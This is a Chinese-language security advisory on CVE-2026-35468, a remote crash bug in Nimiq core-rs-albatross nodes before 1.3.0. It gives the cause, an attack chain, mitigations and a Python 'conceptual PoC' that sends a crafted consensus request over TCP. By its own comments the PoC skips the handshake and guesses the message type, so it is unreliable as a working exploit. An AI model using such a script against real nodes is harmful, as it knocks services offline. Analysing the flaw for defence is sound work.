IPBUF安全漏洞报告
English
CVE-2026-35468 CVSS 5.3 中危

CVE-2026-35468 Nimiq core-rs-albatross 拒绝服务漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35468
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nimiq core-rs-albatross

相关标签

拒绝服务DoSNimiqRustBlockchainCVE-2026-35468

漏洞概述

Nimiq core-rs-albatross是基于Albatross共识算法的Rust实现。在1.3.0版本之前,该软件的两个面向对等端的共识请求处理器存在逻辑缺陷。系统错误地假设历史索引始终可用,并在节点同步或无历史索引状态下直接调用unwrap()。远程攻击者可利用此漏洞发送特定请求,触发panic导致节点崩溃,从而引发拒绝服务攻击。

技术细节

该漏洞的核心成因在于代码中对`HistoryStoreProxy::history_index()`返回值的处理逻辑存在疏漏。在`nimiq/core-rs-albatross`的设计中,`HistoryStoreProxy`在处于`WithoutIndex`状态时会显式返回`None`,这是一种合法的状态,常见于全节点正在执行数据同步或未完全加载历史索引的场景。然而,在1.3.0版本之前,开发人员错误地假设历史索引始终可用,未进行空值检查便直接调用了`.unwrap()`方法。攻击者无需经过身份认证,仅需作为远程peer向目标节点发送特定的共识请求消息,如`RequestTransactionsProof`或`RequestTransactionReceiptsByAddress`。一旦目标节点接收到这些请求并尝试处理,由于处于`WithoutIndex`状态,unwrap操作会立即触发panic异常,导致节点进程崩溃。这种未处理的异常中断了服务,构成了远程拒绝服务攻击风险,严重威胁网络安全。

攻击链分析

STEP 1
侦查
攻击者扫描网络,识别出正在运行Nimiq core-rs-albatross且版本低于1.3.0的节点,特别是处于同步状态或无历史索引的节点。
STEP 2
连接
攻击者作为远程Peer与目标节点建立网络连接。
STEP 3
利用
攻击者向目标节点发送特制的共识请求消息,具体为RequestTransactionsProof或RequestTransactionReceiptsByAddress。
STEP 4
崩溃
目标节点处理请求时,由于unwrap()触发panic异常,导致进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # This is a conceptual PoC for CVE-2026-35468 # It demonstrates sending a malicious consensus request to trigger the panic. # Note: Actual Nimiq protocol implementation requires specific serialization. def send_malicious_request(target_ip, target_port): try: # Establish TCP connection to the Nimiq node print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real scenario, you would need to perform the handshake first. # Assuming handshake is done or bypassed for this PoC context. # Constructing a malicious RequestTransactionsProof message type. # The specific payload structure depends on the Nimiq protocol version. # This payload aims to hit the RequestTransactionsProof handler. message_type = struct.pack('>H', 20) # Example Type ID for RequestTransactionsProof payload_length = struct.pack('>I', 0) # Empty payload to trigger the handler logic malicious_packet = message_type + payload_length print("[*] Sending malicious RequestTransactionsProof packet...") s.send(malicious_packet) print("[*] Packet sent. Check if the remote node crashed (panic).") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 send_malicious_request(TARGET_IP, TARGET_PORT)

影响范围

nimiq/core-rs-albatross < 1.3.0

防御指南

临时缓解措施
建议立即将受影响节点升级至修复版本。如果无法立即升级,应配置防火墙规则,限制仅允许已知的、受信任的对等节点IP地址连接到该节点的P2P端口,从而减少被恶意请求攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表